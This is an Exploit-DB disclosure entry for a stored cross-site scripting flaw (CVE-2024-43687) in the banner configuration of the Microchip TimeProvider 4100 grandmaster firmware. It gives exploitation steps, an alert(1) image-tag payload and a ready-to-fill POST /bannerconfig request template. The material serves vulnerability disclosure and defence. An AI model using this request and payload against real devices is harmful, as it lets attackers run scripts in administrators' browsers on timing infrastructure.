Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 25 阅读

• 作者： Armando Huesca Prida
  日期： 2025-04-04
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/52120/
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  # Exploit Title: Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS)   # Exploit Author: Armando Huesca Prida   # Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli   # Date of Disclosure: 27/06/2024   # Date of CVE Publication: 4/10/2024   # Exploit Publication: 10/10/2024   # Vendor Homepage: https://www.microchip.com/   # Version: Firmware release 1.0 through 2.4.7   # Tested on: Firmware release 2.3.12   # CVE: CVE-2024-43687   # External References:   # URL: https://www.cve.org/cverecord?id=CVE-2024-43687   # URL: https://www.0xhuesca.com/2024/10/cve-2024-43687.html   # URL: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-stored-xss-vulnerability-in-banner   # URL: https://www.gruppotim.it/it/footer/red-team.html           # Vulnerability Description:       The TimeProvider 4100 grandmaster firmware has a stored Cross-Site Scripting (XSS) vulnerability in the custom banner configuration field. A threat actor that exploits this vulnerability is able to execute arbitrary scripts in any user context.           # Exploitation Steps:       1- Log in to the device&apos;s web management interface.   2- Open the banner configuration panel.   3- Select the "custom banner" feature.   4- Insert the malicious JavaScript payload.   5- Apply and save the system configuration containing the custom banner.   6- Victims who connect to the device&apos;s web management interface will execute the malicious payload in their browser.           # Example of malicious JavaScript payload:       <img src=a onerror=alert(1)>           # Proof of Concept - PoC:       By manually modifying the following request, it is possible to create a new custom device banner containing a malicious JavaScript payload, resulting in a stored XSS vulnerability. The list of values ​​that must be updated in the exploit HTTP request is given below:   - [session cookie]   - [malicious JavaScript payload]   - [device IP]           # Exploit - HTTP Request:       POST /bannerconfig HTTP/1.1   Host: [device IP]   Cookie: ci_session=[session cookie]   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8   Accept-Language: en-US,en;q=0.5   Accept-Encoding: gzip, deflate, br   Content-Type: multipart/form-data; boundary=---------------------------9680247575877256312575038502   Content-Length: 673   Origin: https://[device IP]   Referer: https://[device IP]/bannerconfig   Upgrade-Insecure-Requests: 1   Sec-Fetch-Dest: document   Sec-Fetch-Mode: navigate   Sec-Fetch-Site: same-origin   Sec-Fetch-User: ?1   Te: trailers   Connection: keep-alive       -----------------------------9680247575877256312575038502   Content-Disposition: form-data; name="user_level"       1   -----------------------------9680247575877256312575038502   Content-Disposition: form-data; name="bannerradio"       CUSTOMIZED   -----------------------------9680247575877256312575038502   Content-Disposition: form-data; name="txtcustom"       [malicious JavaScript payload]       -----------------------------9680247575877256312575038502   Content-Disposition: form-data; name="action"       applybanner   -----------------------------9680247575877256312575038502--               # End